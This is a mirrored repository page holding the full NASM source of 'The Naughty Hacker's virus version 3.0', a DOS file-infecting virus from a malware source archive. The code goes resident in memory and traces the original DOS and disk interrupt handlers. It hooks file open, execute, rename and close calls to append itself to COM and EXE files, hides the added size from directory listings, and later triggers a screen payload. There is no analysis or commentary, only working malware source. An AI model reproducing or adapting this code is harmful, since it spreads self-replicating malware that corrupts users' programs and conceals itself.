mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
866 lines
12 KiB
NASM
866 lines
12 KiB
NASM
.radix 16
|
||
|
||
;WARNING: THIS IS NOT A BASIC RELEASE BUT A WORK COPY!
|
||
;It seems that somebody had steal this version and
|
||
;circulates it now.
|
||
|
||
title The Naughty Hacker's virus version 3.0
|
||
comment / Naughty Hacker wishes you the best ! /
|
||
|
||
jmp start
|
||
|
||
virlen equ offset endcode-offset begin
|
||
alllen equ offset buffer-offset begin
|
||
|
||
begin label word
|
||
|
||
IP_save dw 20cdh
|
||
CS_save dw ?
|
||
SS_save dw ?
|
||
far_push dw ?
|
||
ident db 'C'
|
||
start:
|
||
call inf
|
||
inf:
|
||
pop bp
|
||
sub bp,offset start-offset begin+3
|
||
push es
|
||
push ds
|
||
mov es,es:[2]
|
||
mov di,start-begin
|
||
push ds
|
||
push cs
|
||
pop ds
|
||
mov si,di
|
||
add si,bp
|
||
mov cx,endcode-inf
|
||
cld
|
||
rep cmpsb
|
||
pop ds
|
||
push ds
|
||
pop es
|
||
je run
|
||
ina:
|
||
cmp word ptr [0],20cdh
|
||
je urud
|
||
jmp run
|
||
urud:
|
||
mov word ptr cs:[bp+handle-begin],0ffff
|
||
mov word ptr cs:[bp+counter-begin],2345
|
||
mov ax,ds
|
||
dec ax
|
||
mov ds,ax
|
||
sub word ptr [3],80
|
||
mov ax,es:[2]
|
||
sub ax,80
|
||
mov es:[2],ax
|
||
push ax
|
||
|
||
sub di,di
|
||
mov si,bp
|
||
mov ds,di
|
||
pop es
|
||
push cs
|
||
pop ds
|
||
mov cx,alllen
|
||
rep movsb
|
||
push cs
|
||
mov ax,offset run-begin
|
||
add ax,bp
|
||
push ax
|
||
push es
|
||
mov ax,offset inss-100-3
|
||
push ax
|
||
retf
|
||
run:
|
||
pop ds
|
||
pop es
|
||
cmp byte ptr cs:[bp+ident-begin],'C'
|
||
je comfile
|
||
mov dx,cs:[bp+CS_save-begin]
|
||
mov cx,cs
|
||
sub cx,word ptr cs:[bp+far_push-begin]
|
||
add dx,cx
|
||
add cx,cs:[bp+SS_save-begin]
|
||
cli
|
||
mov ss,cx
|
||
sti
|
||
clear:
|
||
push dx
|
||
push word ptr cs:[bp+IP_save-begin]
|
||
call clearr
|
||
retf
|
||
comfile:
|
||
mov ax,cs:[bp+IP_save-begin]
|
||
mov [100],ax
|
||
mov ax,cs:[bp+CS_save-begin]
|
||
mov [102],ax
|
||
mov ax,100
|
||
push ax
|
||
call clearr
|
||
retn
|
||
cur:
|
||
call exec
|
||
push bx
|
||
push es
|
||
push si
|
||
push ax
|
||
mov si,dx
|
||
cmp byte ptr [si],0ff
|
||
jne puf
|
||
mov ah,2f
|
||
call exec
|
||
|
||
mov al,byte ptr es:[bx+22d+7+1]
|
||
and al,31d
|
||
cmp al,31d
|
||
jnz puf
|
||
cmp word ptr es:[bx+28d+2+7+1],0
|
||
jne scs
|
||
cmp word ptr es:[bx+28d+7+1],virlen*2
|
||
jb puf
|
||
scs:
|
||
sub word ptr es:[bx+28d+7+1],virlen
|
||
sbb word ptr es:[bx+28d+2+7+1],0
|
||
puf:
|
||
pop ax
|
||
pop si
|
||
pop es
|
||
pop bx
|
||
iret
|
||
|
||
inff:
|
||
dec word ptr cs:[counter-begin]
|
||
jnz neass
|
||
call shop
|
||
neass:
|
||
cmp ah,11
|
||
je cur
|
||
cmp ah,12
|
||
je cur
|
||
|
||
cmp ah,4e
|
||
jne cur1.1
|
||
jmp cur1
|
||
cur1.1:
|
||
cmp ah,4f
|
||
jne cur1.2
|
||
jmp cur1
|
||
cur1.2:
|
||
cmp ah,3ch
|
||
je create
|
||
cmp ah,5bh
|
||
je create
|
||
|
||
push ax
|
||
push bx
|
||
push cx
|
||
push dx
|
||
push si
|
||
push di
|
||
push bp
|
||
push ds
|
||
push es
|
||
|
||
mov byte ptr cs:[function-begin],ah
|
||
|
||
cmp ah,3dh
|
||
je open
|
||
|
||
cmp ah,3e
|
||
je close_
|
||
|
||
cmp ax,4b00
|
||
je execute
|
||
|
||
cmp ah,17
|
||
je ren_FCB
|
||
|
||
cmp ah,56
|
||
je execute
|
||
|
||
cmp ah,43
|
||
je execute
|
||
|
||
here:
|
||
pop es
|
||
pop ds
|
||
pop bp
|
||
pop di
|
||
pop si
|
||
pop dx
|
||
pop cx
|
||
pop bx
|
||
pop ax
|
||
jmp dword ptr cs:[current_21h-begin]
|
||
|
||
ren_FCB:
|
||
call transfer
|
||
call coont
|
||
jmp here
|
||
|
||
create:
|
||
call exec
|
||
mov word ptr cs:[handle-begin],ax
|
||
db 0ca,2,0
|
||
close_:
|
||
cmp word ptr cs:[handle-begin],0ffff
|
||
je here
|
||
cmp bx,word ptr cs:[handle-begin]
|
||
jne here
|
||
mov ah,45
|
||
call coont
|
||
mov word ptr cs:[handle-begin],0ffff
|
||
jmp here
|
||
execute:
|
||
mov ah,3dh
|
||
call coont
|
||
jmp here
|
||
open:
|
||
call coont
|
||
jmp here
|
||
cur1:
|
||
call exec
|
||
pushf
|
||
push ax
|
||
push bx
|
||
push es
|
||
|
||
mov ah,2f
|
||
call exec
|
||
|
||
mov al,es:[bx+22d]
|
||
and al,31d
|
||
cmp al,31d
|
||
jne puf1
|
||
|
||
cmp es:[bx+28d],0
|
||
jne scs1
|
||
cmp es:[bx+26d],virlen*2
|
||
jb puf1
|
||
scs1:
|
||
sub es:[bx+26d],virlen
|
||
sbb es:[bx+28d],0
|
||
puf1:
|
||
pop es
|
||
pop bx
|
||
pop ax
|
||
popf
|
||
db 0ca,2,0 ;retf 2
|
||
coont:
|
||
call exec
|
||
jnc ner
|
||
ret
|
||
ner:
|
||
mov bp,ax
|
||
mov byte ptr cs:[flag-begin],0
|
||
mov ah,54
|
||
call exec
|
||
mov byte ptr cs:[veri-begin],al
|
||
cmp al,1
|
||
jne rty
|
||
mov ax,2e00
|
||
call exec
|
||
rty:
|
||
mov ax,3508
|
||
call exec
|
||
mov word ptr cs:[current_08h-begin],bx
|
||
mov word ptr cs:[current_08h-begin+2],es
|
||
push bx
|
||
push es
|
||
mov al,21
|
||
call exec
|
||
push bx
|
||
push es
|
||
mov al,24
|
||
call exec
|
||
push bx
|
||
push es
|
||
mov al,13
|
||
call exec
|
||
push bx
|
||
push es
|
||
mov ah,25
|
||
mov dx,int13h-begin
|
||
push cs
|
||
pop ds
|
||
call exec
|
||
mov al,21
|
||
lds dx,cs:[org_21h-begin]
|
||
call exec
|
||
mov al,24
|
||
push cs
|
||
pop ds
|
||
mov dx,int24h-begin
|
||
int 21
|
||
mov al,8
|
||
mov dx,int08h-begin
|
||
int 21
|
||
mov bx,bp
|
||
push bx
|
||
mov ax,1220
|
||
call exec2f
|
||
mov bl,es:[di]
|
||
mov ax,1216
|
||
call exec2f
|
||
pop bx
|
||
add di,11
|
||
mov byte ptr es:[di-15d],2
|
||
mov ax,es:[di]
|
||
mov dx,es:[di+2]
|
||
cmp dx,0
|
||
jne contss
|
||
cmp ax,virlen
|
||
jnb contss
|
||
jmp close
|
||
contss:
|
||
cmp byte ptr cs:[function-begin],3dh
|
||
jne hhh
|
||
push di
|
||
add di,0f
|
||
mov si,offset fname-begin
|
||
cld
|
||
mov cx,8+3
|
||
rep cmpsb
|
||
pop di
|
||
jne hhh
|
||
jmp close
|
||
hhh:
|
||
cmp es:[di+18],'MO'
|
||
jne a2
|
||
jmp com
|
||
a2:
|
||
cmp es:[di+18],'EX'
|
||
je a8
|
||
jmp close
|
||
a8:
|
||
cmp byte ptr es:[di+17],'E'
|
||
je a3
|
||
jmp close
|
||
a3:
|
||
call cont
|
||
cmp word ptr [si],'ZM'
|
||
je okk
|
||
cmp word ptr [si],'MZ'
|
||
je okk
|
||
jmp close
|
||
okk:
|
||
cmp word ptr [si+0c],0
|
||
jne uuu
|
||
jmp close
|
||
uuu:
|
||
mov cx,[si+16]
|
||
add cx,[si+8]
|
||
mov ax,10
|
||
mul cx
|
||
add ax,[si+14]
|
||
adc dx,0
|
||
mov cx,es:[di+2]
|
||
sub cx,dx
|
||
or cx,cx
|
||
jnz usm
|
||
mov cx,es:[di]
|
||
sub cx,ax
|
||
cmp cx,virlen-(start-begin)
|
||
jne usm
|
||
jmp close
|
||
usm:
|
||
mov byte ptr [ident-begin],'E'
|
||
mov ax,[si+0e]
|
||
mov [SS_save-begin],ax
|
||
mov ax,[si+14]
|
||
mov [IP_save-begin],ax
|
||
mov ax,[si+16]
|
||
mov [CS_save-begin],ax
|
||
mov ax,es:[di]
|
||
mov dx,es:[di+2]
|
||
add ax,virlen
|
||
adc dx,0
|
||
mov cx,200
|
||
div cx
|
||
mov [si+2],dx
|
||
or dx,dx
|
||
jz oj
|
||
inc ax
|
||
oj:
|
||
mov [si+4],ax
|
||
mov ax,es:[di]
|
||
mov dx,es:[di+2]
|
||
|
||
mov cx,4 ; This could be so:
|
||
mov bp,ax ;
|
||
and bp,0fh ; mov cx,10
|
||
lpp: ; div cx
|
||
shr dx,1 ;
|
||
rcr ax,1 ;
|
||
loop lpp ;
|
||
mov dx,bp ;
|
||
|
||
sub ax,[si+8]
|
||
add dx,start-begin
|
||
adc ax,0
|
||
mov [si+14],dx
|
||
mov [si+16],ax
|
||
mov word ptr [far_push-begin],ax
|
||
add ax,200
|
||
mov [si+0eh],ax
|
||
write:
|
||
sub cx,cx
|
||
mov es:[di+4],cx
|
||
mov es:[di+6],cx
|
||
push es:[di-2]
|
||
push es:[di-4]
|
||
xchg cx,es:[di-0dh]
|
||
push cx
|
||
mov ah,40
|
||
mov dx,buffer-begin
|
||
mov cx,01bh
|
||
int 21
|
||
cmp byte ptr cs:[flag-begin],0ff
|
||
jne ghj
|
||
stc
|
||
jc exit
|
||
ghj:
|
||
mov ax,es:[di]
|
||
mov es:[di+4],ax
|
||
mov ax,es:[di+2]
|
||
mov es:[di+6],ax
|
||
call com?
|
||
jne f2
|
||
sub es:[di+4],virlen
|
||
sbb es:[di+6],0
|
||
f2:
|
||
mov ah,40
|
||
sub dx,dx
|
||
mov cx,virlen
|
||
int 21
|
||
cmp byte ptr cs:[flag-begin],0ff
|
||
jne exit
|
||
stc
|
||
exit:
|
||
pop cx
|
||
mov es:[di-0dh],cx
|
||
pop cx
|
||
pop dx
|
||
or byte ptr es:[di-0bh],40
|
||
jc closed
|
||
call com?
|
||
jne f3
|
||
and cx,31d
|
||
or cx,2
|
||
jmp closed
|
||
f3:
|
||
or cx,31d
|
||
closed:
|
||
mov ax,5701
|
||
int 21
|
||
close:
|
||
mov ah,3e
|
||
int 21
|
||
or byte ptr es:[di-0ch],40
|
||
|
||
push es
|
||
pop ds
|
||
mov si,di
|
||
add si,0f
|
||
mov di,offset fname-begin
|
||
push cs
|
||
pop es
|
||
mov cx,8+3
|
||
cld
|
||
rep movsb
|
||
push cs
|
||
pop ds
|
||
|
||
cmp byte ptr cs:[flag-begin],0ff
|
||
jne qw
|
||
mov ah,0dh
|
||
int 21
|
||
qw:
|
||
cmp byte ptr cs:[veri-begin],1
|
||
jne rtyyu
|
||
mov ax,2e01
|
||
call exec
|
||
rtyyu:
|
||
sub ax,ax
|
||
mov ds,ax
|
||
cli
|
||
pop [13*4+2]
|
||
pop [13*4]
|
||
pop [24*4+2]
|
||
pop [24*4]
|
||
pop [21*4+2]
|
||
pop [21*4]
|
||
pop [8*4+2]
|
||
pop [8*4]
|
||
sti
|
||
retn
|
||
com:
|
||
test byte ptr es:[di-0dh],4
|
||
jz esc4
|
||
jmp close
|
||
esc4:
|
||
call cont
|
||
cmp byte ptr [si],0e9
|
||
jne usm2
|
||
mov ax,es:[di]
|
||
sub ax,[si+1]
|
||
cmp ax,virlen-(start-begin-3)
|
||
jne usm2
|
||
jmp close
|
||
usm2:
|
||
push si
|
||
cmp byte ptr es:[di+17],'C'
|
||
jne esc
|
||
mov byte ptr [ident-begin],'C'
|
||
lodsw
|
||
mov cs:[IP_save-begin],ax
|
||
lodsw
|
||
mov cs:[CS_save-begin],ax
|
||
mov ax,es:[di]
|
||
cmp ax,65535d-virlen-1
|
||
pop si
|
||
jb esc
|
||
jmp close
|
||
esc:
|
||
add ax,start-begin-3
|
||
call com?
|
||
jne f1
|
||
sub ax,virlen
|
||
f1:
|
||
mov byte ptr [si],0e9
|
||
mov word ptr [si+1],ax
|
||
jmp write
|
||
inss:
|
||
|
||
sub ax,ax
|
||
mov ds,ax
|
||
|
||
pushf
|
||
pop ax
|
||
and ax,0feff
|
||
push ax
|
||
popf
|
||
|
||
pushf
|
||
|
||
mov [1*4],offset trap-begin
|
||
mov [1*4+2],cs
|
||
|
||
pushf
|
||
pop ax
|
||
or ax,100
|
||
push ax
|
||
popf
|
||
|
||
mov ax,0ffff
|
||
call dword ptr [21h*4]
|
||
|
||
sub ax,ax
|
||
mov ds,ax
|
||
|
||
pushf
|
||
pop ax
|
||
and ax,0feff
|
||
push ax
|
||
popf
|
||
|
||
pushf
|
||
|
||
mov [1*4],offset trap2-begin
|
||
mov [1*4+2],cs
|
||
|
||
pushf
|
||
pop ax
|
||
or ax,100
|
||
push ax
|
||
popf
|
||
|
||
mov ax,0ffff
|
||
call dword ptr [2fh*4]
|
||
|
||
sub ax,ax
|
||
mov ds,ax
|
||
|
||
pushf
|
||
pop ax
|
||
and ax,0feff
|
||
push ax
|
||
popf
|
||
|
||
pushf
|
||
|
||
mov [1*4],offset trap3-begin
|
||
mov [1*4+2],cs
|
||
|
||
pushf
|
||
pop ax
|
||
or ax,100
|
||
push ax
|
||
popf
|
||
|
||
sub ax,ax
|
||
call dword ptr [13h*4]
|
||
|
||
sub ax,ax
|
||
mov ds,ax
|
||
|
||
les ax,[21*4]
|
||
mov word ptr cs:[current_21h-begin],ax
|
||
mov word ptr cs:[current_21h-begin+2],es
|
||
mov [21*4],offset inff-begin
|
||
mov [21*4+2],cs
|
||
retf
|
||
|
||
trap:
|
||
push bp
|
||
mov bp,sp
|
||
push bx
|
||
cmp [bp+4],300
|
||
ja exit2
|
||
mov bx,[bp+2]
|
||
mov word ptr cs:[org_21h-begin],bx
|
||
mov bx,[bp+4]
|
||
mov word ptr cs:[org_21h-begin+2],bx
|
||
and [bp+6],0feff
|
||
exit2:
|
||
pop bx
|
||
pop bp
|
||
iret
|
||
|
||
trap2:
|
||
push bp
|
||
mov bp,sp
|
||
push bx
|
||
cmp [bp+4],100
|
||
ja exit3
|
||
mov bx,[bp+2]
|
||
mov word ptr cs:[org_2fh-begin],bx
|
||
mov bx,[bp+4]
|
||
mov word ptr cs:[org_2fh-begin+2],bx
|
||
and [bp+6],0feff
|
||
exit3:
|
||
pop bx
|
||
pop bp
|
||
iret
|
||
|
||
|
||
trap3:
|
||
push bp
|
||
mov bp,sp
|
||
push bx
|
||
cmp [bp+4],0C800
|
||
jb exit4
|
||
mov bx,[bp+2]
|
||
mov word ptr cs:[org_13h-begin],bx
|
||
mov bx,[bp+4]
|
||
mov word ptr cs:[org_13h-begin+2],bx
|
||
and [bp+6],0feff
|
||
exit4:
|
||
pop bx
|
||
pop bp
|
||
iret
|
||
|
||
exec:
|
||
pushf
|
||
call dword ptr cs:[org_21h-begin]
|
||
ret
|
||
|
||
|
||
exec2f:
|
||
pushf
|
||
call dword ptr cs:[org_2fh-begin]
|
||
ret
|
||
int08h:
|
||
pushf
|
||
call dword ptr cs:[current_08h-begin]
|
||
push ax
|
||
push ds
|
||
sub ax,ax
|
||
mov ds,ax
|
||
cli
|
||
mov [13*4],offset int13h-begin
|
||
mov [13*4+2],cs
|
||
mov [8*4],offset int08h-begin
|
||
mov [8*4+2],cs
|
||
mov ax,word ptr cs:[org_21h-begin]
|
||
mov [21*4],ax
|
||
mov ax,word ptr cs:[org_21h-begin+2]
|
||
mov [21*4+2],ax
|
||
mov [24*4],offset int24h-begin
|
||
mov [24*4+2],cs
|
||
sti
|
||
pop ds
|
||
pop ax
|
||
iret
|
||
int24h:
|
||
mov al,3
|
||
iret
|
||
int13h:
|
||
pushf
|
||
call dword ptr cs:[org_13h-begin]
|
||
jnc dfg
|
||
mov byte ptr cs:[flag-begin],0ff
|
||
dfg:
|
||
clc
|
||
db 0ca,02,0 ;retf 2
|
||
|
||
cont:
|
||
sub ax,ax
|
||
mov es:[di+4],ax
|
||
mov es:[di+6],ax
|
||
mov ah,3f
|
||
mov cx,01bh
|
||
mov dx,offset buffer-begin
|
||
mov si,dx
|
||
int 21
|
||
cmp byte ptr cs:[flag-begin],0ff
|
||
jne a1
|
||
stc
|
||
pop ax
|
||
jmp close
|
||
a1:
|
||
ret
|
||
com?:
|
||
cmp es:[di+0f],'OC'
|
||
jne zz
|
||
cmp es:[di+11],'MM'
|
||
jne zz
|
||
cmp es:[di+13],'NA'
|
||
jne zz
|
||
cmp es:[di+15],' D'
|
||
jne zz
|
||
cmp es:[di+17],'OC'
|
||
jne zz
|
||
cmp byte ptr es:[di+19],'M'
|
||
zz:
|
||
ret
|
||
transfer:
|
||
|
||
cld
|
||
inc dx
|
||
mov si,dx
|
||
mov di,offset buffer-begin
|
||
push di
|
||
push cs
|
||
pop es
|
||
mov cx,8
|
||
rep movsb
|
||
mov al,'.'
|
||
stosb
|
||
mov cx,3
|
||
rep movsb
|
||
mov al,0
|
||
stosb
|
||
pop dx
|
||
push cs
|
||
pop ds
|
||
mov ax,3d00
|
||
ret
|
||
e1:
|
||
cli
|
||
push ax
|
||
push di
|
||
push es
|
||
mov ax,0b800
|
||
mov es,ax
|
||
mov ax,word ptr cs:[pos-begin]
|
||
push ax
|
||
call comp
|
||
mov ax,word ptr cs:[strg-begin]
|
||
stosw
|
||
pop ax
|
||
|
||
or ah,ah
|
||
jz s3
|
||
|
||
cmp ah,24d
|
||
jb s1
|
||
s3:
|
||
neg byte ptr cs:[y-begin]
|
||
s1:
|
||
or al,al
|
||
jz s4
|
||
|
||
cmp al,79d
|
||
jb s2
|
||
s4:
|
||
neg byte ptr cs:[x-begin]
|
||
s2:
|
||
mov ah,byte ptr cs:[y-begin]
|
||
mov al,byte ptr cs:[x-begin]
|
||
add byte ptr cs:[pos+1-begin],ah
|
||
add byte ptr cs:[pos-begin],al
|
||
mov ax,word ptr cs:[pos-begin]
|
||
call comp
|
||
mov ax,es:[di]
|
||
mov word ptr cs:[strg-begin],ax
|
||
mov es:[di],0f07
|
||
pop es
|
||
pop di
|
||
pop ax
|
||
sti
|
||
iret
|
||
comp:
|
||
push ax
|
||
push bx
|
||
sub bh,bh
|
||
mov bl,al
|
||
mov al,160d
|
||
mul ah
|
||
add ax,bx
|
||
add ax,bx
|
||
mov di,ax
|
||
pop bx
|
||
pop ax
|
||
ret
|
||
shop:
|
||
push ax
|
||
push ds
|
||
mov byte ptr cs:[x-begin],0ff
|
||
mov byte ptr cs:[y-begin],0ff
|
||
mov word ptr cs:[pos-begin],1013
|
||
mov ax,0003
|
||
int 10
|
||
sub ax,ax
|
||
mov ds,ax
|
||
cli
|
||
mov [1c*4],offset e1-begin
|
||
mov [1c*4+2],cs
|
||
sti
|
||
pop ds
|
||
pop ax
|
||
ret
|
||
clearr:
|
||
sub ax,ax
|
||
sub bx,bx
|
||
sub cx,cx
|
||
sub dx,dx
|
||
sub si,si
|
||
sub di,di
|
||
sub bp,bp
|
||
ret
|
||
|
||
db 666d ;Foolish ?!! -> dw 666d
|
||
|
||
db 55,0AA
|
||
|
||
endcode label word
|
||
|
||
current_21h dd ?
|
||
current_08h dd ?
|
||
org_2fh dd ?
|
||
org_13h dd ?
|
||
org_21h dd ?
|
||
flag db ?
|
||
veri db ?
|
||
handle dw 0ffff
|
||
fname db 8+3 dup (?)
|
||
function db ?
|
||
pos dw ?
|
||
x db ?
|
||
y db ?
|
||
strg dw ?
|
||
counter dw ?
|
||
|
||
buffer label word |